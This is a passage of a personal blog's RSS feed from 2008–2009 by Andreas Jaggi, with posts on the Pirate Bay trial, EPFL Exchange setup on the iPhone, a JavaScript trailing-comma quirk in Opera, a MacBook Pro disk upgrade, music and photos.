  9248. <p>We will create numerous scenes where quite different plays will take place. In local channels like spectrial.bloggy.se where the immediate physical surroundings of the court are being discussed. ”Which cafés nearby will give us connection?” ”How can we get electricity to the bus?” But also in international channels like Twitter, where right now the torrent of information is being translated into fifteen different languages. Translations and coverage being made by ordinary users of internets. Volunteers sign up to make trial-tourist guides to the surroundings, drive the bus or hook up audio. People fly in from far away countries to cover the trial and tell the world their video story of the Sweden they see.</p>
  9249.  
  9250. <p>Here all participants are potential actors in the Spectrial. Our channels form a meltingpot of reporting and engagement.</p>
  9251.  
  9252. <p>Our communication around the spectacle aims in no way towards an objective report on an external chain of events. Rather, the trial is a hub around which a whole new network of actors is instigated. Neither is the spectacle a question of old media against digital, social medias. Our social medias include a paper fanzine and a 32 year old bus, connecting us and others physically.</p>
  9253.  
  9254. <p>It’s not about the protocols nor the technology. It’s about using these to create new congregations, where anyone is invited and anyone can find their role, build new scenes and make their own performances.</p>
  9255.  
  9256. <p>The future is built by us. Us who participate in conversations. The future is built by us who explore how information and performativity is coming together. To refuse a debate and still expect to be able to charge consumers is since long a closed door. To also try and outlaw certain types of conversations is downright disgraceful.</p>
  9257.  
  9258. <p>The coverage of the trial is not unique in these qualities. More and more areas see the creation of conversations on and the exploration of new stances on culture and cultural economy. A gigantic collective exploration has set sails. Every route differs from the other. But they have one thing in common: The industry interests that the state is representing are never present in these conversations. This is why they wont be part in building the future.</p>
  9259.  
  9260. <p>maintain hardline kopimi</p>
  9261.  
  9262. <p>The Bureau for Piracy and The Pirate Bay<br>
  9263.  
  9264. via the internets</p>
  9265.  
  9266. <p>this article was translated by proud peers of The Pirate Bay
  9267.  
  9268. trial.thepiratebay.org</p>
  9269.  
  9270. <p>
  9271.  
  9272. (<a href="https://web.archive.org/web/20090221093327/http://trial.thepiratebay.org/2009/02/16/publish-as-us-in-your-country/" title="Publish as us, in your country (archive.org)">via</a>)
  9273.  
  9274. </p>
  9275. ]]></content:encoded>
  9276.  </item>
  9277.  
  9278.  <item>
  9279.    <title>1234567890</title>
  9280.    <link>https://blog.x-way.org/Misc/2009/02/14/1234567890.html</link>
  9281.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324143</guid>
  9282.    <dc:creator>Andreas Jaggi</dc:creator>
  9283.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9284.    <pubDate>Sat, 14 Feb 2009 00:31:00 +0100</pubDate>
  9285.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9286.    <description><![CDATA[<p><a href="http://www.1234567890day.com/" title="1234567890">1234567890day.com</a></p>
  9287. ]]></description>
  9288.    <content:encoded><![CDATA[<p><a href="http://www.1234567890day.com/" title="1234567890">1234567890day.com</a></p>
  9289. ]]></content:encoded>
  9290.  </item>
  9291.  
  9292.  <item>
  9293.    <title>Unicode Snowman</title>
  9294.    <link>https://blog.x-way.org/Misc/2008/10/09/Unicode-Snowman.html</link>
  9295.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324141</guid>
  9296.    <dc:creator>Andreas Jaggi</dc:creator>
  9297.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9298.    <pubDate>Thu, 09 Oct 2008 15:50:00 +0200</pubDate>
  9299.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9300.    <description><![CDATA[<p style="font-size: 200px;">&#9731;</p>
  9301.  
  9302. <p><a href="http://unicodesnowmanforyou.com/" title="Unicode Snowman for You">via</a></p>
  9303. ]]></description>
  9304.    <content:encoded><![CDATA[<p style="font-size: 200px;">&#9731;</p>
  9305.  
  9306. <p><a href="http://unicodesnowmanforyou.com/" title="Unicode Snowman for You">via</a></p>
  9307. ]]></content:encoded>
  9308.  </item>
  9309.  
  9310.  <item>
  9311.    <title>Use EPFL Exchange on the iPhone / iPod touch</title>
  9312.    <link>https://blog.x-way.org/Misc/2008/09/04/Use-EPFL-Exchange-on-the-iPhone--iPod-touch.html</link>
  9313.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324140</guid>
  9314.    <dc:creator>Andreas Jaggi</dc:creator>
  9315.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9316.    <pubDate>Thu, 04 Sep 2008 19:59:00 +0200</pubDate>
  9317.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9318.    <description><![CDATA[<p>As EPFL is migrating all its E-Mail services to Exchange, lets use the Exchange functionalities of the iPhone/iPod touch.<br>Here's the configuration to make it work:</p>
  9319.  
  9320. <ul>
  9321.  
  9322. <li>E-Mail: firstname.lastname@epfl.ch</li>
  9323.  
  9324. <li>Server: ewa.epfl.ch</li>
  9325.  
  9326. <li>Username: studentsusername</li>
  9327.  
  9328. <li>Password: ********************</li>
  9329.  
  9330. </ul>
  9331. ]]></description>
  9332.    <content:encoded><![CDATA[<p>As EPFL is migrating all its E-Mail services to Exchange, lets use the Exchange functionalities of the iPhone/iPod touch.<br>Here's the configuration to make it work:</p>
  9333.  
  9334. <ul>
  9335.  
  9336. <li>E-Mail: firstname.lastname@epfl.ch</li>
  9337.  
  9338. <li>Server: ewa.epfl.ch</li>
  9339.  
  9340. <li>Username: studentsusername</li>
  9341.  
  9342. <li>Password: ********************</li>
  9343.  
  9344. </ul>
  9345. ]]></content:encoded>
  9346.  </item>
  9347.  
  9348.  <item>
  9349.    <title>Disc of this Summer: La Phaze - Miracle</title>
  9350.    <link>https://blog.x-way.org/Music/2008/08/21/Disc-of-this-Summer-La-Phaze---Miracle.html</link>
  9351.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324139</guid>
  9352.    <dc:creator>Andreas Jaggi</dc:creator>
  9353.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9354.    <pubDate>Thu, 21 Aug 2008 06:31:00 +0200</pubDate>
  9355.    <category domain="https://blog.x-way.org/Music/">Music</category>
  9356.    <description><![CDATA[<p><a href="https://laphaze.bigcartel.com/"><img src="https://blog.x-way.org/images/la_phaze_miracle.jpg" height="240" width="240" style="border: 0;" alt="La Phaze - Miracle"></a></p>
  9357. ]]></description>
  9358.    <content:encoded><![CDATA[<p><a href="https://laphaze.bigcartel.com/"><img src="https://blog.x-way.org/images/la_phaze_miracle.jpg" height="240" width="240" style="border: 0;" alt="La Phaze - Miracle"></a></p>
  9359. ]]></content:encoded>
  9360.  </item>
  9361.  
  9362.  <item>
  9363.    <title>Opera 9.25 vs Safari JavaScript syntax error forgiveness</title>
  9364.    <link>https://blog.x-way.org/Coding/2008/08/09/Opera-925-vs-Safari-JavaScript-syntax-error-forgiveness.html</link>
  9365.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324138</guid>
  9366.    <dc:creator>Andreas Jaggi</dc:creator>
  9367.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9368.    <pubDate>Sat, 09 Aug 2008 01:15:00 +0200</pubDate>
  9369.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  9370.    <description><![CDATA[<p>The following definition of an Array works without problems in Safari (and probably Firefox too), but triggers an (legitimate) error in Opera 9.25:</p>
  9371.  
  9372. <pre>var myArray = [
  9373.  
  9374. 1.2,
  9375.  
  9376. 2.3,
  9377.  
  9378. 3.4,
  9379.  
  9380. ];</pre>
  9381.  
  9382. <p>The error is triggered by the superfluous comma after the last element of the Array. It may be argued for both behaviors, but I would prefer all Browsers accepting such an Array definition also since in other languages (C, Python, PHP) such a redundant comma does not cause any trouble.</p>
  9383. ]]></description>
  9384.    <content:encoded><![CDATA[<p>The following definition of an Array works without problems in Safari (and probably Firefox too), but triggers an (legitimate) error in Opera 9.25:</p>
  9385.  
  9386. <pre>var myArray = [
  9387.  
  9388. 1.2,
  9389.  
  9390. 2.3,
  9391.  
  9392. 3.4,
  9393.  
  9394. ];</pre>
  9395.  
  9396. <p>The error is triggered by the superfluous comma after the last element of the Array. It may be argued for both behaviors, but I would prefer all Browsers accepting such an Array definition also since in other languages (C, Python, PHP) such a redundant comma does not cause any trouble.</p>
  9397. ]]></content:encoded>
  9398.  </item>
  9399.  
  9400.  <item>
  9401.    <title>Fast disk upgrade for my MacBook Pro</title>
  9402.    <link>https://blog.x-way.org/Mac/2008/08/02/Fast-disk-upgrade-for-my-MacBook-Pro.html</link>
  9403.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324137</guid>
  9404.    <dc:creator>Andreas Jaggi</dc:creator>
  9405.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9406.    <pubDate>Sat, 02 Aug 2008 07:58:00 +0200</pubDate>
  9407.    <category domain="https://blog.x-way.org/Mac/">Mac</category>
  9408.    <description><![CDATA[<p>Here's how to upgrade the disk of a MacBook Pro in 45 minutes while keeping all your data/settings/applications:</p>
  9409.  
  9410. <ol>
  9411.  
  9412. <li>Uninstall <a href="http://refit.sourceforge.net/" title="rEFIt - An EFI Boot Menu and Toolkit">rEFIt</a> and make sure your MBP restarts with the Apple 'default' bootloader</li>
  9413.  
  9414. <li>Follow the <a href="http://www.ifixit.com/Guide/Mac/" title="Fixit Guide - DIY PowerBook, MacBook, &amp; iBook Repair &amp; Disassembly">iFixit Guide</a> to replace your disk</li>
  9415.  
  9416. <li>Put the old disk in a SATA-to-USB case (they are available for $7.89 from <a href="https://www.newegg.com/">Newegg.com</a>)</li>
  9417.  
  9418. <li>Connect the old disk to your MBP and turn the MBP on. (The MBP automagically recognizes the old system and runs it)</li>
  9419.  
  9420. <li>Open the Disk Manager and partition your new disk.</li>
  9421.  
  9422. <li>Select your new 'system' Volume and open the "Restore" tab.</li>
  9423.  
  9424. <li>Drag your old 'system' Volume to the "Source" field and your new 'system' Volume to the "Target" field. Click on "Restore", the contents of your old disk are now copied to the new disk.</li>
  9425.  
  9426. <li>After the restore process finishes, shutdown your MBP.</li>
  9427.  
  9428. <li>Disconnect your old disk and turn on your MBP.</li>
  9429.  
  9430. <li>Voilà. You are booting from the new disk and all your data/settings/applications are there too!</li>
  9431.  
  9432. </ol>
  9433. ]]></description>
  9434.    <content:encoded><![CDATA[<p>Here's how to upgrade the disk of a MacBook Pro in 45 minutes while keeping all your data/settings/applications:</p>
  9435.  
  9436. <ol>
  9437.  
  9438. <li>Uninstall <a href="http://refit.sourceforge.net/" title="rEFIt - An EFI Boot Menu and Toolkit">rEFIt</a> and make sure your MBP restarts with the Apple 'default' bootloader</li>
  9439.  
  9440. <li>Follow the <a href="http://www.ifixit.com/Guide/Mac/" title="Fixit Guide - DIY PowerBook, MacBook, &amp; iBook Repair &amp; Disassembly">iFixit Guide</a> to replace your disk</li>
  9441.  
  9442. <li>Put the old disk in a SATA-to-USB case (they are available for $7.89 from <a href="https://www.newegg.com/">Newegg.com</a>)</li>
  9443.  
  9444. <li>Connect the old disk to your MBP and turn the MBP on. (The MBP automagically recognizes the old system and runs it)</li>
  9445.  
  9446. <li>Open the Disk Manager and partition your new disk.</li>
  9447.  
  9448. <li>Select your new 'system' Volume and open the "Restore" tab.</li>
  9449.  
  9450. <li>Drag your old 'system' Volume to the "Source" field and your new 'system' Volume to the "Target" field. Click on "Restore", the contents of your old disk are now copied to the new disk.</li>
  9451.  
  9452. <li>After the restore process finishes, shutdown your MBP.</li>
  9453.  
  9454. <li>Disconnect your old disk and turn on your MBP.</li>
  9455.  
  9456. <li>Voilà. You are booting from the new disk and all your data/settings/applications are there too!</li>
  9457.  
  9458. </ol>
  9459. ]]></content:encoded>
  9460.  </item>
  9461.  
  9462.  <item>
  9463.    <title>Handy Photos</title>
  9464.    <link>https://blog.x-way.org/Misc/2008/07/19/Handy-Photos.html</link>
  9465.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324136</guid>
  9466.    <dc:creator>Andreas Jaggi</dc:creator>
  9467.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9468.    <pubDate>Sat, 19 Jul 2008 15:42:00 +0200</pubDate>
  9469.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9470.    <description><![CDATA[<a href="https://blog.x-way.org/images/handy-scaled-00.jpg"><img src="https://blog.x-way.org/images/handy-thumb-00.jpg" alt="handy-scaled-0.jpg"></a><br>
  9471.  
  9472. <a href="https://blog.x-way.org/images/handy-scaled-01.jpg"><img src="https://blog.x-way.org/images/handy-thumb-01.jpg" alt="handy-scaled-1.jpg"></a><br>
  9473.  
  9474. <a href="https://blog.x-way.org/images/handy-scaled-12.jpg"><img src="https://blog.x-way.org/images/handy-thumb-12.jpg" alt="handy-scaled-12.jpg"></a><br>
  9475.  
  9476. <a href="https://blog.x-way.org/images/handy-scaled-23.jpg"><img src="https://blog.x-way.org/images/handy-thumb-23.jpg" alt="handy-scaled-23.jpg"></a><br>
  9477.  
  9478. <a href="https://blog.x-way.org/images/handy-scaled-34.jpg"><img src="https://blog.x-way.org/images/handy-thumb-34.jpg" alt="handy-scaled-34.jpg"></a><br>
  9479.  
  9480. <a href="https://blog.x-way.org/images/handy-scaled-42.jpg"><img src="https://blog.x-way.org/images/handy-thumb-42.jpg" alt="handy-scaled-42.jpg"></a><br>
  9481.  
  9482. <a href="https://blog.x-way.org/images/handy-scaled-43.jpg"><img src="https://blog.x-way.org/images/handy-thumb-43.jpg" alt="handy-scaled-43.jpg"></a><br>
  9483.  
  9484. <a href="https://blog.x-way.org/images/handy-scaled-44.jpg"><img src="https://blog.x-way.org/images/handy-thumb-44.jpg" alt="handy-scaled-44.jpg"></a><br>
  9485.  
  9486. <a href="https://blog.x-way.org/images/handy-scaled-45.jpg"><img src="https://blog.x-way.org/images/handy-thumb-45.jpg" alt="handy-scaled-45.jpg"></a><br>
  9487.  
  9488. <a href="https://blog.x-way.org/images/handy-scaled-46.jpg"><img src="https://blog.x-way.org/images/handy-thumb-46.jpg" alt="handy-scaled-46.jpg"></a><br>
  9489.  
  9490. <a href="https://blog.x-way.org/images/handy-scaled-02.jpg"><img src="https://blog.x-way.org/images/handy-thumb-02.jpg" alt="handy-scaled-2.jpg"></a><br>
  9491.  
  9492. <a href="https://blog.x-way.org/images/handy-scaled-03.jpg"><img src="https://blog.x-way.org/images/handy-thumb-03.jpg" alt="handy-scaled-3.jpg"></a><br>
  9493.  
  9494. <a href="https://blog.x-way.org/images/handy-scaled-04.jpg"><img src="https://blog.x-way.org/images/handy-thumb-04.jpg" alt="handy-scaled-4.jpg"></a><br>
  9495.  
  9496. <a href="https://blog.x-way.org/images/handy-scaled-05.jpg"><img src="https://blog.x-way.org/images/handy-thumb-05.jpg" alt="handy-scaled-5.jpg"></a><br>
  9497.  
  9498. <a href="https://blog.x-way.org/images/handy-scaled-06.jpg"><img src="https://blog.x-way.org/images/handy-thumb-06.jpg" alt="handy-scaled-6.jpg"></a><br>
  9499.  
  9500. <a href="https://blog.x-way.org/images/handy-scaled-07.jpg"><img src="https://blog.x-way.org/images/handy-thumb-07.jpg" alt="handy-scaled-7.jpg"></a><br>
  9501.  
  9502. <a href="https://blog.x-way.org/images/handy-scaled-08.jpg"><img src="https://blog.x-way.org/images/handy-thumb-08.jpg" alt="handy-scaled-8.jpg"></a><br>
  9503.  
  9504. <a href="https://blog.x-way.org/images/handy-scaled-09.jpg"><img src="https://blog.x-way.org/images/handy-thumb-09.jpg" alt="handy-scaled-9.jpg"></a><br>
  9505.  
  9506. <a href="https://blog.x-way.org/images/handy-scaled-10.jpg"><img src="https://blog.x-way.org/images/handy-thumb-10.jpg" alt="handy-scaled-10.jpg"></a><br>
  9507.  
  9508. <a href="https://blog.x-way.org/images/handy-scaled-11.jpg"><img src="https://blog.x-way.org/images/handy-thumb-11.jpg" alt="handy-scaled-11.jpg"></a><br>
  9509.  
  9510. <a href="https://blog.x-way.org/images/handy-scaled-13.jpg"><img src="https://blog.x-way.org/images/handy-thumb-13.jpg" alt="handy-scaled-13.jpg"></a><br>
  9511.  
  9512. <a href="https://blog.x-way.org/images/handy-scaled-14.jpg"><img src="https://blog.x-way.org/images/handy-thumb-14.jpg" alt="handy-scaled-14.jpg"></a><br>
  9513.  
  9514. <a href="https://blog.x-way.org/images/handy-scaled-15.jpg"><img src="https://blog.x-way.org/images/handy-thumb-15.jpg" alt="handy-scaled-15.jpg"></a><br>
  9515.  
  9516. <a href="https://blog.x-way.org/images/handy-scaled-16.jpg"><img src="https://blog.x-way.org/images/handy-thumb-16.jpg" alt="handy-scaled-16.jpg"></a><br>
  9517.  
  9518. <a href="https://blog.x-way.org/images/handy-scaled-17.jpg"><img src="https://blog.x-way.org/images/handy-thumb-17.jpg" alt="handy-scaled-17.jpg"></a><br>
  9519.  
  9520. <a href="https://blog.x-way.org/images/handy-scaled-18.jpg"><img src="https://blog.x-way.org/images/handy-thumb-18.jpg" alt="handy-scaled-18.jpg"></a><br>
  9521.  
  9522. <a href="https://blog.x-way.org/images/handy-scaled-19.jpg"><img src="https://blog.x-way.org/images/handy-thumb-19.jpg" alt="handy-scaled-19.jpg"></a><br>
  9523.  
  9524. <a href="https://blog.x-way.org/images/handy-scaled-20.jpg"><img src="https://blog.x-way.org/images/handy-thumb-20.jpg" alt="handy-scaled-20.jpg"></a><br>
  9525.  
  9526. <a href="https://blog.x-way.org/images/handy-scaled-21.jpg"><img src="https://blog.x-way.org/images/handy-thumb-21.jpg" alt="handy-scaled-21.jpg"></a><br>
  9527.  
  9528. <a href="https://blog.x-way.org/images/handy-scaled-22.jpg"><img src="https://blog.x-way.org/images/handy-thumb-22.jpg" alt="handy-scaled-22.jpg"></a><br>
  9529.  
  9530. <a href="https://blog.x-way.org/images/handy-scaled-24.jpg"><img src="https://blog.x-way.org/images/handy-thumb-24.jpg" alt="handy-scaled-24.jpg"></a><br>
  9531.  
  9532. <a href="https://blog.x-way.org/images/handy-scaled-25.jpg"><img src="https://blog.x-way.org/images/handy-thumb-25.jpg" alt="handy-scaled-25.jpg"></a><br>
  9533.  
  9534. <a href="https://blog.x-way.org/images/handy-scaled-26.jpg"><img src="https://blog.x-way.org/images/handy-thumb-26.jpg" alt="handy-scaled-26.jpg"></a><br>
  9535.  
  9536. <a href="https://blog.x-way.org/images/handy-scaled-27.jpg"><img src="https://blog.x-way.org/images/handy-thumb-27.jpg" alt="handy-scaled-27.jpg"></a><br>
  9537.  
  9538. <a href="https://blog.x-way.org/images/handy-scaled-28.jpg"><img src="https://blog.x-way.org/images/handy-thumb-28.jpg" alt="handy-scaled-28.jpg"></a><br>
  9539.  
  9540. <a href="https://blog.x-way.org/images/handy-scaled-29.jpg"><img src="https://blog.x-way.org/images/handy-thumb-29.jpg" alt="handy-scaled-29.jpg"></a><br>
  9541.  
  9542. <a href="https://blog.x-way.org/images/handy-scaled-30.jpg"><img src="https://blog.x-way.org/images/handy-thumb-30.jpg" alt="handy-scaled-30.jpg"></a><br>
  9543.  
  9544. <a href="https://blog.x-way.org/images/handy-scaled-31.jpg"><img src="https://blog.x-way.org/images/handy-thumb-31.jpg" alt="handy-scaled-31.jpg"></a><br>
  9545.  
  9546. <a href="https://blog.x-way.org/images/handy-scaled-32.jpg"><img src="https://blog.x-way.org/images/handy-thumb-32.jpg" alt="handy-scaled-32.jpg"></a><br>
  9547.  
  9548. <a href="https://blog.x-way.org/images/handy-scaled-33.jpg"><img src="https://blog.x-way.org/images/handy-thumb-33.jpg" alt="handy-scaled-33.jpg"></a><br>
  9549.  
  9550. <a href="https://blog.x-way.org/images/handy-scaled-35.jpg"><img src="https://blog.x-way.org/images/handy-thumb-35.jpg" alt="handy-scaled-35.jpg"></a><br>
  9551.  
  9552. <a href="https://blog.x-way.org/images/handy-scaled-36.jpg"><img src="https://blog.x-way.org/images/handy-thumb-36.jpg" alt="handy-scaled-36.jpg"></a><br>
  9553.  
  9554. <a href="https://blog.x-way.org/images/handy-scaled-37.jpg"><img src="https://blog.x-way.org/images/handy-thumb-37.jpg" alt="handy-scaled-37.jpg"></a><br>
  9555.  
  9556. <a href="https://blog.x-way.org/images/handy-scaled-38.jpg"><img src="https://blog.x-way.org/images/handy-thumb-38.jpg" alt="handy-scaled-38.jpg"></a><br>
  9557.  
  9558. <a href="https://blog.x-way.org/images/handy-scaled-39.jpg"><img src="https://blog.x-way.org/images/handy-thumb-39.jpg" alt="handy-scaled-39.jpg"></a><br>
  9559.  
  9560. <a href="https://blog.x-way.org/images/handy-scaled-40.jpg"><img src="https://blog.x-way.org/images/handy-thumb-40.jpg" alt="handy-scaled-40.jpg"></a><br>
  9561.  
  9562. <a href="https://blog.x-way.org/images/handy-scaled-41.jpg"><img src="https://blog.x-way.org/images/handy-thumb-41.jpg" alt="handy-scaled-41.jpg"></a><br>
  9563. ]]></description>
  9564.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/handy-scaled-00.jpg"><img src="https://blog.x-way.org/images/handy-thumb-00.jpg" alt="handy-scaled-0.jpg"></a><br>
  9565.  
  9566. <a href="https://blog.x-way.org/images/handy-scaled-01.jpg"><img src="https://blog.x-way.org/images/handy-thumb-01.jpg" alt="handy-scaled-1.jpg"></a><br>
  9567.  
  9568. <a href="https://blog.x-way.org/images/handy-scaled-12.jpg"><img src="https://blog.x-way.org/images/handy-thumb-12.jpg" alt="handy-scaled-12.jpg"></a><br>
  9569.  
  9570. <a href="https://blog.x-way.org/images/handy-scaled-23.jpg"><img src="https://blog.x-way.org/images/handy-thumb-23.jpg" alt="handy-scaled-23.jpg"></a><br>
  9571.  
  9572. <a href="https://blog.x-way.org/images/handy-scaled-34.jpg"><img src="https://blog.x-way.org/images/handy-thumb-34.jpg" alt="handy-scaled-34.jpg"></a><br>
  9573.  
  9574. <a href="https://blog.x-way.org/images/handy-scaled-42.jpg"><img src="https://blog.x-way.org/images/handy-thumb-42.jpg" alt="handy-scaled-42.jpg"></a><br>
  9575.  
  9576. <a href="https://blog.x-way.org/images/handy-scaled-43.jpg"><img src="https://blog.x-way.org/images/handy-thumb-43.jpg" alt="handy-scaled-43.jpg"></a><br>
  9577.  
  9578. <a href="https://blog.x-way.org/images/handy-scaled-44.jpg"><img src="https://blog.x-way.org/images/handy-thumb-44.jpg" alt="handy-scaled-44.jpg"></a><br>
  9579.  
  9580. <a href="https://blog.x-way.org/images/handy-scaled-45.jpg"><img src="https://blog.x-way.org/images/handy-thumb-45.jpg" alt="handy-scaled-45.jpg"></a><br>
  9581.  
  9582. <a href="https://blog.x-way.org/images/handy-scaled-46.jpg"><img src="https://blog.x-way.org/images/handy-thumb-46.jpg" alt="handy-scaled-46.jpg"></a><br>
  9583.  
  9584. <a href="https://blog.x-way.org/images/handy-scaled-02.jpg"><img src="https://blog.x-way.org/images/handy-thumb-02.jpg" alt="handy-scaled-2.jpg"></a><br>
  9585.  
  9586. <a href="https://blog.x-way.org/images/handy-scaled-03.jpg"><img src="https://blog.x-way.org/images/handy-thumb-03.jpg" alt="handy-scaled-3.jpg"></a><br>
  9587.  
  9588. <a href="https://blog.x-way.org/images/handy-scaled-04.jpg"><img src="https://blog.x-way.org/images/handy-thumb-04.jpg" alt="handy-scaled-4.jpg"></a><br>
  9589.  
  9590. <a href="https://blog.x-way.org/images/handy-scaled-05.jpg"><img src="https://blog.x-way.org/images/handy-thumb-05.jpg" alt="handy-scaled-5.jpg"></a><br>
  9591.  
  9592. <a href="https://blog.x-way.org/images/handy-scaled-06.jpg"><img src="https://blog.x-way.org/images/handy-thumb-06.jpg" alt="handy-scaled-6.jpg"></a><br>
  9593.  
  9594. <a href="https://blog.x-way.org/images/handy-scaled-07.jpg"><img src="https://blog.x-way.org/images/handy-thumb-07.jpg" alt="handy-scaled-7.jpg"></a><br>
  9595.  
  9596. <a href="https://blog.x-way.org/images/handy-scaled-08.jpg"><img src="https://blog.x-way.org/images/handy-thumb-08.jpg" alt="handy-scaled-8.jpg"></a><br>
  9597.  
  9598. <a href="https://blog.x-way.org/images/handy-scaled-09.jpg"><img src="https://blog.x-way.org/images/handy-thumb-09.jpg" alt="handy-scaled-9.jpg"></a><br>
  9599.  
  9600. <a href="https://blog.x-way.org/images/handy-scaled-10.jpg"><img src="https://blog.x-way.org/images/handy-thumb-10.jpg" alt="handy-scaled-10.jpg"></a><br>
  9601.  
  9602. <a href="https://blog.x-way.org/images/handy-scaled-11.jpg"><img src="https://blog.x-way.org/images/handy-thumb-11.jpg" alt="handy-scaled-11.jpg"></a><br>
  9603.  
  9604. <a href="https://blog.x-way.org/images/handy-scaled-13.jpg"><img src="https://blog.x-way.org/images/handy-thumb-13.jpg" alt="handy-scaled-13.jpg"></a><br>
  9605.  
  9606. <a href="https://blog.x-way.org/images/handy-scaled-14.jpg"><img src="https://blog.x-way.org/images/handy-thumb-14.jpg" alt="handy-scaled-14.jpg"></a><br>
  9607.  
  9608. <a href="https://blog.x-way.org/images/handy-scaled-15.jpg"><img src="https://blog.x-way.org/images/handy-thumb-15.jpg" alt="handy-scaled-15.jpg"></a><br>
  9609.  
  9610. <a href="https://blog.x-way.org/images/handy-scaled-16.jpg"><img src="https://blog.x-way.org/images/handy-thumb-16.jpg" alt="handy-scaled-16.jpg"></a><br>
  9611.  
  9612. <a href="https://blog.x-way.org/images/handy-scaled-17.jpg"><img src="https://blog.x-way.org/images/handy-thumb-17.jpg" alt="handy-scaled-17.jpg"></a><br>
  9613.  
  9614. <a href="https://blog.x-way.org/images/handy-scaled-18.jpg"><img src="https://blog.x-way.org/images/handy-thumb-18.jpg" alt="handy-scaled-18.jpg"></a><br>
  9615.  
  9616. <a href="https://blog.x-way.org/images/handy-scaled-19.jpg"><img src="https://blog.x-way.org/images/handy-thumb-19.jpg" alt="handy-scaled-19.jpg"></a><br>
  9617.  
  9618. <a href="https://blog.x-way.org/images/handy-scaled-20.jpg"><img src="https://blog.x-way.org/images/handy-thumb-20.jpg" alt="handy-scaled-20.jpg"></a><br>
  9619.  
  9620. <a href="https://blog.x-way.org/images/handy-scaled-21.jpg"><img src="https://blog.x-way.org/images/handy-thumb-21.jpg" alt="handy-scaled-21.jpg"></a><br>
  9621.  
  9622. <a href="https://blog.x-way.org/images/handy-scaled-22.jpg"><img src="https://blog.x-way.org/images/handy-thumb-22.jpg" alt="handy-scaled-22.jpg"></a><br>
  9623.  
  9624. <a href="https://blog.x-way.org/images/handy-scaled-24.jpg"><img src="https://blog.x-way.org/images/handy-thumb-24.jpg" alt="handy-scaled-24.jpg"></a><br>
  9625.  
  9626. <a href="https://blog.x-way.org/images/handy-scaled-25.jpg"><img src="https://blog.x-way.org/images/handy-thumb-25.jpg" alt="handy-scaled-25.jpg"></a><br>
  9627.  
  9628. <a href="https://blog.x-way.org/images/handy-scaled-26.jpg"><img src="https://blog.x-way.org/images/handy-thumb-26.jpg" alt="handy-scaled-26.jpg"></a><br>
  9629.  
  9630. <a href="https://blog.x-way.org/images/handy-scaled-27.jpg"><img src="https://blog.x-way.org/images/handy-thumb-27.jpg" alt="handy-scaled-27.jpg"></a><br>
  9631.  
  9632. <a href="https://blog.x-way.org/images/handy-scaled-28.jpg"><img src="https://blog.x-way.org/images/handy-thumb-28.jpg" alt="handy-scaled-28.jpg"></a><br>
  9633.  
  9634. <a href="https://blog.x-way.org/images/handy-scaled-29.jpg"><img src="https://blog.x-way.org/images/handy-thumb-29.jpg" alt="handy-scaled-29.jpg"></a><br>
  9635.  
  9636. <a href="https://blog.x-way.org/images/handy-scaled-30.jpg"><img src="https://blog.x-way.org/images/handy-thumb-30.jpg" alt="handy-scaled-30.jpg"></a><br>
  9637.  
  9638. <a href="https://blog.x-way.org/images/handy-scaled-31.jpg"><img src="https://blog.x-way.org/images/handy-thumb-31.jpg" alt="handy-scaled-31.jpg"></a><br>
  9639.  
  9640. <a href="https://blog.x-way.org/images/handy-scaled-32.jpg"><img src="https://blog.x-way.org/images/handy-thumb-32.jpg" alt="handy-scaled-32.jpg"></a><br>
  9641.  
  9642. <a href="https://blog.x-way.org/images/handy-scaled-33.jpg"><img src="https://blog.x-way.org/images/handy-thumb-33.jpg" alt="handy-scaled-33.jpg"></a><br>
  9643.  
  9644. <a href="https://blog.x-way.org/images/handy-scaled-35.jpg"><img src="https://blog.x-way.org/images/handy-thumb-35.jpg" alt="handy-scaled-35.jpg"></a><br>
  9645.  
  9646. <a href="https://blog.x-way.org/images/handy-scaled-36.jpg"><img src="https://blog.x-way.org/images/handy-thumb-36.jpg" alt="handy-scaled-36.jpg"></a><br>
  9647.  
  9648. <a href="https://blog.x-way.org/images/handy-scaled-37.jpg"><img src="https://blog.x-way.org/images/handy-thumb-37.jpg" alt="handy-scaled-37.jpg"></a><br>
  9649.  
  9650. <a href="https://blog.x-way.org/images/handy-scaled-38.jpg"><img src="https://blog.x-way.org/images/handy-thumb-38.jpg" alt="handy-scaled-38.jpg"></a><br>
  9651.  
  9652. <a href="https://blog.x-way.org/images/handy-scaled-39.jpg"><img src="https://blog.x-way.org/images/handy-thumb-39.jpg" alt="handy-scaled-39.jpg"></a><br>
  9653.  
  9654. <a href="https://blog.x-way.org/images/handy-scaled-40.jpg"><img src="https://blog.x-way.org/images/handy-thumb-40.jpg" alt="handy-scaled-40.jpg"></a><br>
  9655.  
  9656. <a href="https://blog.x-way.org/images/handy-scaled-41.jpg"><img src="https://blog.x-way.org/images/handy-thumb-41.jpg" alt="handy-scaled-41.jpg"></a><br>
  9657. ]]></content:encoded>
  9658.  </item>
  9659.  
  9660.  <item>
  9661.    <title>helloworld.c</title>
  9662.    <link>https://blog.x-way.org/Coding/2008/06/25/helloworld-c.html</link>
  9663.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324135</guid>
  9664.    <dc:creator>Andreas Jaggi</dc:creator>
